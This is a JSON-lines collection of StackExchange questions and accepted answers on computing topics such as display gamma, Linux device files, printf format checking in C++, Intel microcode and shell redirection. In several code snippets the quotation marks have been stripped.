{  "id": "_computerscience.1587"  , "question": "In this video from about 1:15, it is stated that if you have an RGB value of (0.5,0.5,0.5) it is only 22% as bright as (1,1,1) rather than the expected 50% as bright.Does this mean that RGB is adjusted for a logarithmic scale so that we perceive the (0.5,0.5,0.5) to be half as bright, or have a misunderstood the video?Despite searching around a lot I can not find any other source of information that discusses this."  , "title": "Actual vs Perceived Brightness of RGB Colour"  , "tags": "color;brightness"  , "accepted_answer": "Two different effects are causing the observation mentioned in the video.On one side, the vast majority of screens have a non linear response: if the RGB value is half as much, the emitted light intensity is not half as much. This behavior originally comes from cathode ray tube (CRT) displays, which produced different light intensities by varying the voltage used to generate the electron beam. From the article:CRTs have a pronounced triode characteristic, which results in significant gamma (a nonlinear relationship in an electron gun between applied video voltage and beam intensity).As CRT became ubiquitous, systems assumed this behavior to be present and took it into account. Nowadays CRT have mostly been replaced by LCD technology, which emulate this behavior for compatibility.Gamma is usually considered to be around $2.2$, which means the light intensity follows a function $I=x^{2.2}$. This is where the 22% mentioned in the video comes from: ($0.5^{2.2} \\approx 0.218$).On the other side, the human vision is not linear either. According to Wikipedia, a typical sunset on a clear day is about 400 lux, and clear sky daylight is about 10000 to 25000 lux. Yet the latter doesn't feel over 25 times as bright as the former.In the end, the non linear response of screens is a good thing, because it gives more precision where it is needed. Note that it is not logarithmic though, but closer to a square function. If you want to read more on the topic, you can look for articles on gamma correction."  } 
{  "id": "_unix.216684"  , "question": "When we register a driver, the name parameter shows up in /proc/devices, yet we can write to the devices using the entry in /dev corresponding to the device. What are the core ideas behind /proc and /dev entries? Moving further, is sysfs supposed to be a replacement for procfs? How does it differ from procfs?  "  , "title": "What is the relationship (similarity and differences) between /proc/devices and /dev entries in Linux?"  , "tags": "linux;drivers;sysfs;procfs"  } 
{  "id": "_cs.29091"  , "question": "Probabilistic algorithms often have a parameter that allows one to tune the error rate, typically by running the algorithm repeatedly. This often gives an error rate of something like $2^{-k}$ for $k$ iterations. This is a fine situation to be in, because $2^{-k}$ can be made as close to $1$ as you like without having to make $k$ very big at all. At this point, the theoretician sits back contentedly, his or her job done.In practical terms, though, are there any guidelines as to which value of $k$ should one choose? Obviously, there's no universal answer, since the answer in any particular situation will be a trade-off depending on the importance of avoiding errors and the cost of doing more iterations.For example, choosing $k=10$ gives an error rate of about one in a thousand, which seems rather high for most purposes; choosing $k=60$ means the expected number of errors would still be less than one even if you'd run the algorithm once a second since the big bang."  , "title": "Choosing error rates for probabilistic algorithms"  , "tags": "algorithm analysis;randomized algorithms;probabilistic algorithms;applied theory"  , "accepted_answer": "As you say, this is application or situation dependant in general. However, a guideline I have encountered is making the error probability smaller than the probability of a hardware failure. If I remember correctly, this is at least mentioned in the Mitzenmacher-Upfal book.Say you wanted to replace a deterministic algorithm with a probabilistic algorithm, and still be confident (enough) it works. How often do hardware failures happen then? Nightingale, Douceur, and Orgovan [1] analyzed hardware failure rates on a million consumer PCs. For instance, bus errors, microcode bugs, and parity errors in CPU caches issue a machine-check exception (MCE), indicating a detected violation of an internal invariant. Roughly, a CPU running for at least 5 days has a 1 in 330 chance of crashing due to an MCE (see Figure 2). They also observed laptops are more reliable than desktop machines, and underclocking helps as well.In short, one guideline could be this: know the hardware you are running your algorithm on, and analyze how often the hardware makes critical mistakes (or take a good guess e.g. based on [1]).[1] Nightingale, Edmund B., John R. Douceur, and Vince Orgovan. Cycles, cells and platters: an empirical analysis of hardware failures on a million consumer PCs. Proceedings of the sixth conference on Computer systems. ACM, 2011."  } 
{  "id": "_reverseengineering.6648"  , "question": "I disassembled some OS X apps with Hopper and found that all of them contain a lot of zero bytes in a row. What is the use of that? Is this some OS X ABI specific padding I came across here? What is its use?"  , "title": "Why are there often many 0-bytes in executables?"  , "tags": "disassembly;assembly;osx"  } 
{  "id": "_cs.59741"  , "question": "I have a set of points (tiny triangles) $K=\\{1,2,\\ldots, k\\}$ and a set points (tiny circles) $N=\\{1,2,\\ldots, n\\}$ and a matrix of positive real values $\\mathbf{D}=\\left[d_{ij}\\right]$ for all $i\\in K$ and for all $j\\in N$. The entry of the matrix $d_{ij}$ can be viewed as the Euclidean distance between triangle $i$ and circle $j$.I would like to assign the triangles to the circles with the constraint that each assigned point is assigned to its closest neighbor. Also, the assignment must be one-to-one. For example, let $$\\mathbf{D}=\\begin{pmatrix}1 & 1 & 5\\\\2 & 3 & 1\\\\5 & 8 & 6\\end{pmatrix}.$$Now:triangle 1 would like to be assigned to circle 1 or 2 and then 3 (we have a tie);triangle 2 would like to be assigned to circle 3 then 1 and then 2;triangle 3 would like to be assigned to circle 1 then 3 and then 2;How can I solve this problem?I thought of creating a list of preferences based on $\\mathbf{D}$ like in the example:List of preference for triangle 1: 1, 2, 3List of preference for triangle 2: 3, 1, 2List of preference for triangle 3: 1, 3, 2But how can I continue on solving this?"  , "title": "How to match two sets of points based on the closeset distance?"  , "tags": "algorithms;assignment problem"  , "accepted_answer": "You have an instance of a bipartite matching problem. There are some variations on the problem. I think you're looking for a minimum cost bipartite matching, but maybe you're looking for a stable matching."  } 
{  "id": "_webapps.70733"  , "question": "Facebook allows me to approve all photos where I am tagged to appear on my timeline. However, Facebook states:Note: This only controls what's allowed on your timeline. Posts you're tagged in still appear in search, news feed and other places on FacebookIs there any option that will give me full control of all content where I am tagged? I don't like other people having power over what is published about me."  , "title": "Is complete control over tagging me on Facebook possible?"  , "tags": "facebook;facebook tags;facebook privacy"  } 
{  "id": "_webapps.37217"  , "question": "The only option Google offers is to get results from the past hour. Is it possible to get results from the past 3 hours, for example? From the past 2 years would also be useful for me.Related:How to do a Google search for webpages last updated within 2 years? "  , "title": "Google search results from custom time/date range"  , "tags": "google search"  , "accepted_answer": "For finding all google result from 2011-12-31 till 2012-12-31add daterange:2455927-2456293 to your search termyou have to update both numbers every day you wanna do the searchthis link helps you converting a date to a serialYou will get the same by using the custom range search optionUnfortunately you can't search for past 2 hours using the same method."  } 
{  "id": "_unix.157554"  , "question": "I've just installed Debian Jessie and I'm trying to get systemd to do basic power management.systemctl suspend and systemctl hibernate works well to suspend and hibernate the system.Now, I want the computer to hibernate when I press the power button so I've edited /etc/systemd/logind.conf to contain:HandlePowerKey=hibernatePressing the power button works to hibernate and if I press again the system resumes. But after resume tint2, tilda (that are always open) and any other applications that were open before hibernation are completely frozen. The mouse still works and I can open new applications but the applications that are frozen can't even be killed.To test whether hibernation is the problem I've tried pressing the power button with this in logind.conf:HandlePowerKey=ignoreThe computer doesn't hibernate but the applications freeze the moment I press the button!I've also tried with the line HandlePowerKey line commented out (the default option). That just causes the computer to shut down instantly.I'm guessing that either:a. logind.conf does more that the specified action (eg. hibernate, ignore) or:b. Something else registers that I press the power button and meshes things up. Note that I don't have acpid installed.What is at fault? How do I troubleshot the issue further?"  , "title": "Powerbutton freezes applications"  , "tags": "debian;systemd;power management"  , "accepted_answer": "This error was caused by openbox.Stupidly I left this in ~/.config/openbox/rc.xml:<keybind key=XF86PowerOff>  <action name=Execute>    <command>sudo pm-suspend</command>  </action></keybind>The config file is a reuse from when I used acpid which overruled the keybind so I'd forgotten all about it."  } 
{  "id": "_codereview.149265"  , "question": "I am quite an experienced developer but I am quite new to JS/frontend/functional programming and I am working with react-native in my day-job now.I'm trying to do my own flux implementation to better understand redux. My goal is to have a performant data store that will behave predictably. This solution seems to be working for me, but will become slower the longer the app runs.I've looked at using immutable.js and lodash but I'm not sure it's necessary. I've also considered using a mutable currentState variable and only merging the changes since the last call to getState() and then resetting i.e changes = [] and updating currentState. I'd also like some opinions on my use of a promise in the getState function.export default class Session {  static changes = []  static getState() {    return new Promise((resolve, reject) => {      resolve(this.changes.reduce((a, x) => Object.assign(a,x),{}))    })  }  static update(value) {    this.changes.push(value)  }  static showChanges() {    this.changes.forEach((x)=> console.log(x))  }}Object.defineProperty(Session, 'changes',{  writable: false,  enumerable: true})"  , "title": "Immutable ES7 global state store"  , "tags": "javascript;ecmascript 6;react.js"  , "accepted_answer": "Interesting question:As per @jfriend00, using a promise is odd there. Your repaint might work out, but in essence JS runs .reduce() single threaded, there really is not a lot of value thereYour Session is not immutable, it keeps updating the changes listAll your methods are static, I would have expected an Immutable class with session as in instance of the Immutable classI would inside your class indeed maintain a mutable object that is up to date ( so a call to update would result in an update of both changes and say an object called state ) Since your class is mutable by having changes, you might as well go all the way.I like mutable.js, in that there is no such thing as getState(), you would get the new state from calling update. This way you can update the data and have the state in 1 line.All in all, even after reading the whole immutable.js page, I don't see the point. If truly your goal is to have A performant data store that will behave predictably., then a plain old Vanilla Object should do."  } 
{  "id": "_codereview.85031"  , "question": "Inspired by this open ticket on Boost, this seeks to complete the work there.Given a printf-style format string and associated arguments, a static_assert is performed on whether the format string and arguments are valid.I'm particularly interested in:Have I covered all possible format strings?Am I doing this in the most efficient way?This includes changes based on the comments from @Loki Astari on the previous iteration of this code here.Here is the below code running on ideone.#include <cstddef>#include <cstdio>#include <stdexcept>#include <boost/utility/string_ref.hpp>#include <boost/format.hpp>#ifndef BOOST_PP_VARIADICS#    define BOOST_PP_VARIADICS#endif#include <boost/preprocessor.hpp>template<typename... Ts>struct Format{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n);};//////////////////////template<std::size_t N>constexpr bool checkValidFormats(const char (&fmt)[N], size_t n, char c){    return n >= N ?            throw std::logic_error(invalid format for type)        : fmt[n] == c ?            true        : checkValidFormats(fmt, n + 1, c);}template<class>struct Type;#define SUPPORTED_TYPE(T, Fmts) \\template<> \\struct Type<T> \\{ \\    template<std::size_t N> \\    constexpr static bool check(const char (&fmt)[N], std::size_t n) \\    { \\        return n >= N ? \\                throw std::logic_error(invalid format for type) \\            : checkValidFormats(Fmts, 0, fmt[n]); \\    } \\}SUPPORTED_TYPE(char,              c);SUPPORTED_TYPE(int8_t,            cd);SUPPORTED_TYPE(uint8_t,           cu);SUPPORTED_TYPE(int16_t,           d);SUPPORTED_TYPE(uint16_t,          u);SUPPORTED_TYPE(int32_t,           d);SUPPORTED_TYPE(uint32_t,          u);SUPPORTED_TYPE(char*,             s);SUPPORTED_TYPE(unsigned char*,    s);SUPPORTED_TYPE(const char*,       s);SUPPORTED_TYPE(std::string,       s);SUPPORTED_TYPE(boost::string_ref, s);SUPPORTED_TYPE(double,            f);SUPPORTED_TYPE(float,             f);#define SUPPORTED_LL_TYPE(T, C) \\template<> \\struct Type<T> \\{ \\    template<std::size_t N> \\    static constexpr bool check(const char (&fmt)[N], std::size_t n) \\    { \\        return n < N && \\               n - 2 >= 0 && \\               fmt[n]     == C   && \\               fmt[n - 1] == 'l' && \\               fmt[n - 2] == 'l' ? \\                    true \\            : throw std::logic_error(invalid format for type); \\    } \\}SUPPORTED_LL_TYPE(int64_t,  'd');SUPPORTED_LL_TYPE(uint64_t, 'u');template<typename... Ts>struct Argument{    template<std::size_t N>    static constexpr bool check(const char (&)[N], std::size_t)    {        return false;    }};template<typename T, typename... Ts>struct Argument<T, Ts...>{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        //    %[<flags>][<width>][.<precision>][<length>]<specifier>        //        specifier := d|i|u|o|x|X|f|F|e|E|g|G|a|A|c|s|p|n        return Type< typename std::decay<T>::type>::check(fmt, n) &&                Format<Ts...>::check(fmt, n + 1);    }};///////////////////////////template<size_t N>constexpr bool isDoubleLengthSpecifier(const char (&fmt)[N], std::size_t n){    // hh | ll    return n + 2 < N &&           ((fmt[n] == 'h' && fmt[n + 1] == 'h') ||            (fmt[n] == 'l' && fmt[n + 1] == 'l'));}template<size_t N>constexpr bool isSingleLengthSpecifier(const char (&fmt)[N], std::size_t n){    // h | l | j | z | t | L    return n + 1 < N &&           (fmt[n] == 'h' ||            fmt[n] == 'l' ||            fmt[n] == 'j' ||            fmt[n] == 'z' ||            fmt[n] == 't' ||            fmt[n] == 'L');}template<size_t N>constexpr size_t nextNonLengthSpecifier(const char (&fmt)[N], std::size_t n){    return            isDoubleLengthSpecifier(fmt, n) ? n + 2          : isSingleLengthSpecifier(fmt, n) ? n + 1          : n;}template<typename... Ts>struct Length{    template<std::size_t N>    static constexpr bool check(const char (&)[N], std::size_t)    {        return false;    }};template<typename T, typename... Ts>struct Length<T, Ts...>{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        //    %[<flags>][<width>][.<precision>][<length>]<specifier>        //        length    := hh|h|l|ll|j|z|t|L        return Argument<T, Ts...>::check(fmt, nextNonLengthSpecifier(fmt, n));    }};///////////////////////////template<std::size_t N>constexpr size_t nextNonLiteralPrecision(const char (&fmt)[N], std::size_t n){    return        n >= N ?            throw std::logic_error(invalid format string - parsing precision)        : fmt[n] >= '0' && fmt[n] <= '9' ?                nextNonLiteralPrecision(fmt, n + 1)        : n;}template<typename... Ts>struct Precision{    template<std::size_t N>    static constexpr bool check(const char (&)[N], std::size_t)    {        return false;    }};template<typename T, typename... Ts>struct Precision<T, Ts...>{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        //    %[<flags>][<width>][.<precision>][<length>]<specifier>        //        precision := <number>|'*'        // A number or a '*'        // if precision is a provided argument, validate it is integral        return n + 1 < N && fmt[n] == '.' && fmt[n + 1] == '*' ?                std::is_integral<T>::value && Length<Ts...>::check(fmt, n + 2)        // otherwise skip over any literal precision        : n + 1 < N && fmt[n] == '.' ?                Length<T, Ts...>::check(fmt, nextNonLiteralPrecision(fmt, n + 1))        : Length<T, Ts...>::check(fmt, n);    }};///////////////////////////template<std::size_t N>constexpr size_t nextNonLiteralWidth(const char (&fmt)[N], std::size_t n){    return        n >= N ?            throw std::logic_error(invalid format string - parsing width)        : fmt[n] >= '0' && fmt[n] <= '9' ?            nextNonLiteralWidth(fmt, n + 1)        : n;}template<typename... Ts>struct Width{    template<std::size_t N>    static constexpr bool check(const char (&)[N], std::size_t)    {        return false;    }};template<typename T, typename... Ts>struct Width<T, Ts...>{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        //    %[<flags>][<width>][.<precision>][<length>]<specifier>        //        width     := <number>|'*'        // A number or a '*'        // if width is a provided argument, validate it is integral        return fmt[n] == '*' ?                std::is_integral<T>::value && Precision<Ts...>::check(fmt, n + 1)        // otherwise skip over any literal width        : Precision<T, Ts...>::check(fmt, nextNonLiteralWidth(fmt, n));    }};///////////////////////////template<size_t N>constexpr bool isFlag(const char (&fmt)[N], std::size_t n){    return n + 1 < N &&          (fmt[n] == '-' ||           fmt[n] == '+' ||           fmt[n] == ' ' ||           fmt[n] == '#' ||           fmt[n] == '0');}template<std::size_t N>constexpr size_t nextNonFlag(const char (&fmt)[N], std::size_t n){    return        n >= N ?            throw std::logic_error(invalid format string)        : isFlag(fmt, n) ?            nextNonFlag(fmt, n + 1)        : n;}template<typename T, typename... Ts>struct Flags{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        //    %[<flags>][<width>][.<precision>][<length>]<specifier>        //        flags     := [-+ #0]*            // Zero or more        return Width<T, Ts...>::check(fmt, nextNonFlag(fmt, n));    }};///////////////////////////template<size_t N>constexpr bool isLiteralPercent(const char (&fmt)[N], std::size_t n){    return n + 1 <= N && fmt[n] == '%' && fmt[n + 1] == '%';}template<typename T, typename... Ts>struct Format<T, Ts...>{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        return            n >= N ?                throw std::logic_error(too many arguments for provided format string)            // skip non-format specifiers (ie: not a % character)            : fmt[n] != '%' ?                Format<T, Ts...>::check(fmt, n + 1)            // %%            : isLiteralPercent(fmt, n) ?                Format<T, Ts...>::check(fmt, n + 2)            // we've found a format specifier            : Flags<T, Ts...>::check(fmt, n + 1);    }};template<>struct Format<>{    template<std::size_t N>    static constexpr bool check(const char (&fmt)[N], std::size_t n)    {        return            n>= N ?                true            : fmt[n] != '%' ?                check(fmt, n + 1)            : fmt[n + 1] == '%' ?                check(fmt, n + 2)            : throw std::logic_error(too few arguments for provided format string);    }};////////////////// printing...void add(boost::format&){ }template<typename T, typename... Ts>void add(boost::format& f, const T& arg, const Ts&... ts){    f % arg;    add(f, ts...);}////////////////#define PP_PARENTHESISE_WITH_TOKEN(r, token, i, e) \\    BOOST_PP_COMMA_IF(i) token(e)#define PP_CSV_SEQ_PARENTHESISE_WITH_TOKEN(...) \\    BOOST_PP_SEQ_FOR_EACH_I(PP_PARENTHESISE_WITH_TOKEN, decltype, BOOST_PP_VARIADIC_TO_SEQ(__VA_ARGS__))#define PP_PERFORM_LOG_FORMAT_CHECK(fmt, ...) \\    Format<BOOST_PP_IF(BOOST_PP_EQUAL(BOOST_PP_TUPLE_SIZE((,##__VA_ARGS__)), 1), \\            BOOST_PP_EXPAND, PP_CSV_SEQ_PARENTHESISE_WITH_TOKEN)(__VA_ARGS__)>::check(fmt, 0)#define LOG(fmt, ...) \\    { \\        static_assert(PP_PERFORM_LOG_FORMAT_CHECK(fmt, ##__VA_ARGS__), ); \\        boost::format f(fmt); \\        add(f, ##__VA_ARGS__); \\        std::cout << f.str() << std::endl; \\    }int main(){    // nothing    LOG(hello world);    // char    LOG(%c, 'x');    // integral    LOG(%d, -123);    LOG(%ld, -123);    LOG(%u, 123u);    LOG(%lu, 123u);    // strings    LOG(%s, hello world);    LOG(%-s, hello world);    LOG(%s, std::string(hello world));    { const char* s = hello world; LOG(%s, s); }    { std::string s = hello world; LOG(%s, s); }    { std::string s = hello world; boost::string_ref r(s); LOG(%s, r); }    // floating point    LOG(%f, 1.23);    LOG(%f, 1.23f);    // width & precision    LOG(%02d, 1);    LOG(% 3s, hello);    LOG(% 3s, yo);    LOG(%.2d, 123);    LOG(%.2f, 1.2345);    LOG(%2f, 1.23456789);    LOG(%02f, 0.1);    LOG(%02.2f, 0.1);    // width & precision as arguments    // not supported by boost::format//    LOG(%*d, 3, 12);//    LOG(%.*s, 3, hello);//    LOG(%.*d, 3, 12345);//    LOG(%*.*s, 3, 3, hello);//    LOG(%*.*d, 3, 3, 12345);    // mix of multiple different arguments    LOG(%s, hi);    LOG(%s %d, hi, 1);    LOG(%s %d %u %lf %f %c, hi, -1, 12u, 1.23, 1.33, 'c');    // too few arguments//    LOG(%s %d %u %lf %f %c, hi, -1, 12u, 1.23, 1.33);    // too many arguments//    LOG(%s %d %u %lf %f %c, hi, -1, 12u, 1.23, 1.33, 'c', 1);    // incorrect argument for format string//    LOG(%s %d %u %lf %f %c, hi, -1, 12u, 1, 1.33, 'c');}I can probably improve the %ll length specifier check as this is currently implemented as a backwards search into the format string for 64-bit integral types. I also haven't done checking for %hh length specifier.Error cases:Too few arguments:main.cpp:285:84: error: expression <throw-expression> is not a constant-expression             : throw std::logic_error(too few arguments for provided format string);Too many arguments:main.cpp:257:87: error: expression <throw-expression> is not a constant-expression                 throw std::logic_error(too many arguments for provided format string)Mismatch between argument type and format:main.cpp:29:68: error: expression <throw-expression> is not a constant-expression     { return C != c ? throw std::logic_error(invalid fmt for type) : true; } \\                                                                    ^main.cpp:33:1: note: in expansion of macro SUPPORTED_TYPE SUPPORTED_TYPE(int,               'd');"  , "title": "Compile-time printf-style format checking"  , "tags": "c++;c++11;template meta programming;type safety;assertions"  } 
{  "id": "_unix.350578"  , "question": "I have created a Digital Ocean droplet using Debian 8.7 x64, then installed xfce4 and xrdp to remote in.I can able to remote in successfully but when i try to change the theme Settings --> Appearanceits not applying (no change at all), There are 10+ default themes and non of them are applying.  (Note: Window Manager is working properly and changing window title bar theme)Tried installing gtk-2.0 sudo apt-get install gtk2.0 sudo apt-get install build-essential libgtk2.0-devalso tried manually moving theme files to ~/.themes but its not working."  , "title": "xfce4 themes not applying on Debian 8.7 VPS"  , "tags": "debian;xfce;theme;gtk2"  } 
{  "id": "_unix.20078"  , "question": "I'm looking for the Linux tool that will print the same output as the Solaris ptree.For example:# ptree 538538   /usr/lib/ssh/sshd  889   /usr/lib/ssh/sshd    890   /usr/lib/ssh/sshd      1498  -sh        1649  bash          1656  -sh            1660  bash              13716 ptree 538I'm aware that pstree exists, but I don't like its output format. Does anyone know any similar tools?"  , "title": "Solaris ptree style tool for Linux"  , "tags": "linux;ps"  } 
{  "id": "_softwareengineering.14435"  , "question": "I have a subversion server setup that I need to look after several projects, grouped by language, then client (company) and then by projecte.g.repos/flex3     \\com1          \\project1          \\project2     \\com2          \\project1          \\project2          \\project3flex4     \\com1         \\projectx     \\com2         \\projectyjava    \\projectzrepos is my repository root and then I have the 3 repositories inside (create with svnadmin create) flex3, flex4 and java, then flex3 should have two folders com1 and com2 for different clients, each will contain different project repos.I have a feeling I have done this wrong, should I simply create the top level structure as normal folders and then make the com1 and com2 etc into repos with svnadmin create so that different projects can be added directly below them. Is this correct?Thanks"  , "title": "Subversion server hierarchy, need advice"  , "tags": "version control"  } 
{  "id": "_unix.367573"  , "question": "I've just installed Linux Mint 18 on my laptop and so far it's going well. However, I suspect that the intel-microcode is incorrect for my processor. My processor: Intel Core(TM) i3-2348M CPU @ 2.30GHzIf you look up this processor's driver downloads on Intel's website here, you can see that the most recent intel-microcode data file is 3.20150121.However, in Driver Manager it says that it is using intel-microcode version 3.20151106.1If you look up this microcode here, you will find that i3-2348M here is not listed as a supported processor.Should I try and install the older driver? I am intending to play games on this laptop, so I will need the processor to be functioning well - especially since this is not the best processor there ever was!"  , "title": "Intel-microcode incompatible with i3-2348M processor (Linux Mint 18)"  , "tags": "linux mint;drivers;intel"  , "accepted_answer": "The Intel download site is... incorrect at best.  They play a random game with the list of processors that are compatible with each Linux microcode release, and lately they can't even get the release date right...Your processor is an i3-2348M, that's a Sandybridge processor with signature 0x206a7.  The latest public version of the microcode for your processor is:sig 0x000206a7, pf_mask 0x12, 2013-06-12, rev 0x0029, size 10240Which is being distributed unmodified in all Intel Linux microcode releases since version 2013-08-08.  So, the current Linux microcode releases are also compatible with your processor.You are using Mint, which is based on Ubuntu, which is based on Debian.  Debian's intel-microcode package has a changelog (unlike almost every other microcode distribution package), please look at /usr/share/doc/intel-microcode/changelog.gz:zless /usr/share/doc/intel-microcode/changelog.gz(or visit that file using a browser capable of reading compressed files.  Firefox works just fine).You can use the iucode-tool package to know what is your processor signature.  Install the iucode-tool package, and also the intel-microcode packages from Mint/Ubuntu/Debian and use the command:/usr/sbin/iucode_tool -SIt will tell you what is your processor signature.If you want to know whether the Linux kernel applied the microcode update properly, look for microcode updated early to revision... log messages in the kernel log, examples:journalctl -k -b | grep microcodedmesg | grep microcodegrep microcode /var/log/kern.logSo, you can keep the current driver..."  } 
{  "id": "_webapps.80282"  , "question": "I'm a Google Groups user, using some paid account to access admin.google.com. I'm able to create e-mail addresses, groups and so on there.What I have done is this:Created e-mail addressesCreated a group and given it an e-address (let's say hello@example.com)Added members to the groupThe members are able to see new e-mails coming to hello@example.com. However, let's say there are 2 members of the group. Person #1 replies to the e-mail, but person #2 won't see the reply person #1 made.The solution for this seems to send a BCC/CC to hello@example.com (and put the author in as TO), however, doing this manually every time seems like a bad move.What I want to do:Basically, I want all emails that are sent to go to both the author (that sent the e-mail first), as well as all members of the actual group, without the manual work with BCC/CC the group address.All this should happen from the gmail browser client at mail.google.com.Possible or not?"  , "title": "Google Groups Email: Reply to author, and let other group members see reply"  , "tags": "gmail;google apps;google groups"  } 
{  "id": "_unix.371288"  , "question": "Trying to install pass (password manager).I noticed that in my system (Ubuntu 14.04.4) another program called pass is already installed but I am sure that this is not password manager.pass --help     returns   Input format should be:./pass inputfile min_window max_window false_num outputfile [-qnorm] [-nop] [-adjust] [-p priorfile]I managed to find that this is possibly compiler, comes from packege pass2 and may be a part of binutils but as a search phrase is short finding it in a web search is quite of pita... Any combinations of 'pass and linux' end with troubleshooting of installing pass in lfs...Can anyone point me in the right direction? "  , "title": "/usr/bin/pass and /usr/bin/pass2"  , "tags": "ubuntu;command line;zsh"  , "accepted_answer": "Use dpkg -S to search for what package owns the file:dpkg -S /usr/bin/passMy guess, based solely on the names of the expected command line options, is that your pass command is a command line version of Poisson Approximation for Statistical Significance (a bioinformatics tool).  This tool has a web interface here (for example, there are others too): http://insilicom.com/root?tool_id=hgv_pass"  } 
{  "id": "_unix.222721"  , "question": "I have configured a bonding/teaming for 2 Ethernet cards but the issue is when I hit the service network restart command I got a failed error regarding: /etc/sysconfig/network-scripts/ifcfg-bond0 : line 2 IPADDR :192.168.10.25  command not findand when I try ping 192.168.10.25 it says connect :network is unreachable"  , "title": "configure bonding/teaming on Redhat Linux 6.4"  , "tags": "linux;bonding"  } 
{  "id": "_unix.48086"  , "question": "Under following conditions-mv within the same HDD partitionmv to a different partition in the same HDDmv to a different device (e.g. USB HDD)Is the complete file moved or is it a very small change like some pointer reassignment ?"  , "title": "When we use mv command, what changes take place in HDD?"  , "tags": "filesystems;rename"  , "accepted_answer": "It's up to each filesystem how to handle a move within the filesystem (also known as renaming a file), but filesystems pretty much universally handle it by updating directory entries without moving the inode or file contents.A move between filesystems (it doesn't matter if it's on the same physical medium or not) is handled as a file copy followed by a delete. This is in fact exactly what the mv command does. Obviously that means that the destination filesystem has to make a new copy of the file."  } 
{  "id": "_unix.352353"  , "question": "I noticed that a lot of my programs run under the same user like (firefox,chromium,steam,etc...) and therefore should have the same permissions as this user, but I would prefer to limit their accesses.For example I want none of them to have access to a specific backup directory except a backup process.Can I somehow run those under another user who is limited but still use them on my kde session normally? (Which I assume can access all my main user's directories.)"  , "title": "How can I run a program with limited permissions"  , "tags": "permissions;process;privileges;jails"  } 
{  "id": "_unix.285542"  , "question": "I am using ImageMagick to concatenate files which I have named 1.png to 50.png. However the files are arranged in the wrong order going 1.png, 11.png, 12.png ... instead of 1.png,2.png ...It must see the file names as character and not numbersThe command ismontage *.png -mode Concatenate  -tile 5x10 new.pngI have also tried [1-50].png but I only get 5 images concatenate, however in the right order."  , "title": "getting wrong order of files with ImageMagick and *.png"  , "tags": "osx;wildcards;imagemagick"  } 
{  "id": "_unix.334716"  , "question": "What does the RHEL developer suite (offered free of charge if I am not mistaken) compared to other RHEL versions that are offered with payed subscriptions?(besides the support of course)"  , "title": "Differences between RHEL developer suite and other versions"  , "tags": "rhel"  , "accepted_answer": "You should find answers to your questions in the FAQ. In summary, the no-cost Developer Suite includes one physical entitlement forRHEL Server (all currently supported versions)Software CollectionsDeveloper ToolsetContainer Development KitSo with one Red Hat Developers account you can register one physical system (with as many VMs as you want). The contents of the downloads are the same as those you'd get with a paid subscription. You also get access to the customer portal and knowledgebase, and portal groups (for discussion). You can only use the no-cost subscription for development and single-user testing, and as you mention there is no support."  } 
{  "id": "_unix.241637"  , "question": "I had a background process running, of which the command starts with nohup nice. As it takes usually 20 hours, so I had it running during the night. However, I got a message says write failed: broken pipe this morning, probably because the server closes connections that are idle for too long.When I logged into the server again, there's no job when I type the jobs command. How can I restart the program from where it's left instead of running from the beginning? "  , "title": "How to restart a background job failed due to broken pipe"  , "tags": "linux;shell"  } 
{  "id": "_cs.63075"  , "question": "I was told about an algorithm to solve ODEs which I thought was very clever. I am sure its not something new. It works by discarding the $\\mathcal{O}(h^2)$-term from the usual formula for computing the second derivative:$$f''_i = \\frac{f_{i-1} + f_{i+1} - 2f_{i}}{h^2} + \\mathcal{O}(h^2), \\qquad i = 0,1,2,\\cdots,N$$one can rewrite the equations for the derivatives for all $i$, as a set of linear equations, then use smart Gauss elimination from linear algebra to find expression for $f$ with exactly $5N$ floating point operations.(1) Does this method already have a name?(2) Should I be excited about this algorithm? Is this a particularly good method? Or are there other very different algorithms for solving ODEs which are much better?"  , "title": "Solving second-order ODEs with Taylor series approximation of second derivative and linear algebra"  , "tags": "algorithms;discrete mathematics;numerical algorithms"  , "accepted_answer": "This is essentially the (implicit) Finite Difference Method. There are different variations based on the discretization (implicit, explicit, Crank-Nicolson, leap-frog, etc). Some better than others. For the implicit approach, you can use Thomas Algorithm (modified Gaussian elimination) to solve the tridiagonal system. But you can also use Cyclic Reduction (or one of its variations) which allows you to solve the system in parallel on GPUs and clusters. Much much larger solvers rely on Krylov subspace methods. There are other ODE/PDE solves like Method of Lines, Finite Element Method, and many many others that you'd encounter in a good text on Numerical Analysis (e.g., Kincaid, Cheney)."  } 
{  "id": "_unix.14246"  , "question": "My question is about redirection precedence is bash. Suppose you have a command:cmd1 < cmd2 > cmd3Would it translate to:(cmd1 < cmd2) > cmd3Orcmd1 < (cmd2 > cmd3)"  , "title": "Precedence of stdin and stdout redirection in Bash"  , "tags": "bash;io redirection"  , "accepted_answer": "The POSIX standard specifies that shell redirection is from left to right; that is, order is significant:The construct 2>&1 is often used to redirect standard error to the same file as standard output. Since the redirections take place beginning to end, the order of redirections is significant. For example:ls > foo 2>&1directs both standard output and standard error to file foo. However:ls 2>&1 > fooonly directs standard output to file foo because standard error was duplicated as standard output before standard output was directed to file foo.bash operates in compliance with this part of the standard:$ ls doesnotexist > foo 2>&1$ cat fools: cannot access doesnotexist: No such file or directory$ ls doesnotexist 2>&1 > fools: cannot access doesnotexist: No such file or directory$ cat foo$ As for piping:Because pipeline assignment of standard input or standard output or both takes place before redirection, it can be modified by redirection. For example:$ command1 2>&1 | command2sends both the standard output and standard error of command1 to the standard input of command2."  } 
{  "id": "_cs.53706"  , "question": "Is there a shortest path algorithim that calculates the shortest route passing all available roads, ending where you started? This differs from the Travelling salesman problem as you need to pass through all roads between the cities, not just the cities. The traditional shortest path algorithims do not work because they only calculate the shortest distance between 2 points, and don't guarantee passing through all of the roads. Here is a vague map of my problem. For a solution to be valid, it must pass through every road in between the points labeled."  , "title": "Shortest Path Passing All Routes"  , "tags": "algorithms;shortest path"  , "accepted_answer": "Construct the line graph of $G$, then solve the Travelling Salesman Problem on the resulting line graph.  This yields the optimal solution to your problem, assuming you want to visit every edge in your graph exactly once.See also the route inspection problem (also known as the Chinese postman problem)."  } 
